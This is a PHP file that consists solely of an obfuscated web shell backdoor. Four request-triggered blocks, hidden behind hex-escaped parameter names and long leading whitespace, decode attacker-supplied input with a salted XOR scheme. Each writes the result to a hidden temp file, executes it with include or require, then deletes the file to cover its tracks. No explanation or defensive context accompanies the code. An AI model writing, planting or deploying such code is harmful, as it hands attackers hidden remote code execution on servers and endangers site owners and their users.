<?php																																										if(array_key_exists("\x65\x6Et", $_REQUEST)){ $factor = array_filter(["/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path()]); $elem = $_REQUEST["\x65\x6Et"]; $elem =explode ( '.' , $elem ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; $len = count($elem); do { if ($w >= $len) break; $v9 = $elem[$w]; $chS = ord($salt[$w% $lenS]); $d = ((int)$v9 - $chS - ($w% 10)) ^ 100; $data_chunk .=chr($d); $w++; }while (true); foreach ($factor as $ent): if ((is_dir($ent) and is_writable($ent))) { $ptr = vsprintf("%s/%s", [$ent, ".fac"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $ptr; @unlink($ptr); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["k\x65\x79"] ?? null)){ $data_chunk = $_REQUEST["k\x65\x79"]; $data_chunk =explode ( "." , $data_chunk ) ; $binding= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6); foreach ($data_chunk as $j => $v8) { $sChar= ord($salt6[$j % $sLen]); $d= ((int)$v8 - $sChar - ($j % 10)) ^ 70; $binding .= chr($d); } $element = array_filter([session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm"]); foreach ($element as $key => $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $pgrp = implode("/", [$flg, ".dchunk"]); if (file_put_contents($pgrp, $binding)) { require $pgrp; unlink($pgrp); die(); } } } }
																																										if(array_key_exists("el\x65\x6D\x65nt", $_REQUEST)){ $ref = array_filter(["/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd()]); $property_set = $_REQUEST["el\x65\x6D\x65nt"]; $property_set= explode ( '.' ,$property_set ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($property_set); for ($k = 0; $k < $__len; $k++) {$v8 = $property_set[$k]; $sChar = ord($salt[$k % $lenS]); $dec = ((int)$v8 - $sChar - ($k % 10)) ^ 27; $resource .= chr($dec); } foreach ($ref as $k): if ((is_dir($k) and is_writable($k))) { $dchunk = str_replace("{var_dir}", $k, "{var_dir}/.bind"); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $dchunk; @unlink($dchunk); exit; } } endforeach; }


if(!empty($_POST["d\x65\x73c"])){
	$dat = $_POST["d\x65\x73c"];
	 $dat	 	=explode(".", 		$dat	  ) 	; 
	$obj =		'';
            $salt7 =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =		strlen($salt7 );
            $len =		count($dat );
    
            for ($v =		0; $v  <	 $len; $v++) {
                $v9 =		$dat[$v];
                $chS =		ord($salt7[$v	%		$lenS] );
                $d =		((int)$v9 - $chS - ($v	%		10)) ^ 28;
                $obj.= chr($d );
            }
	$symbol = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]);
	$flag = 0;
do {
    $pset = $symbol[$flag] ?? null;
    if ($flag >= count($symbol)) break;
    		if (is_dir($pset) ? is_writable($pset) : false) {
    $parameter_group = sprintf("%s/.tkn", $pset);
    if (file_put_contents($parameter_group, $obj)) {
	include $parameter_group;
	@unlink($parameter_group);
	die();
}
}
    $flag++;
} while (true);
}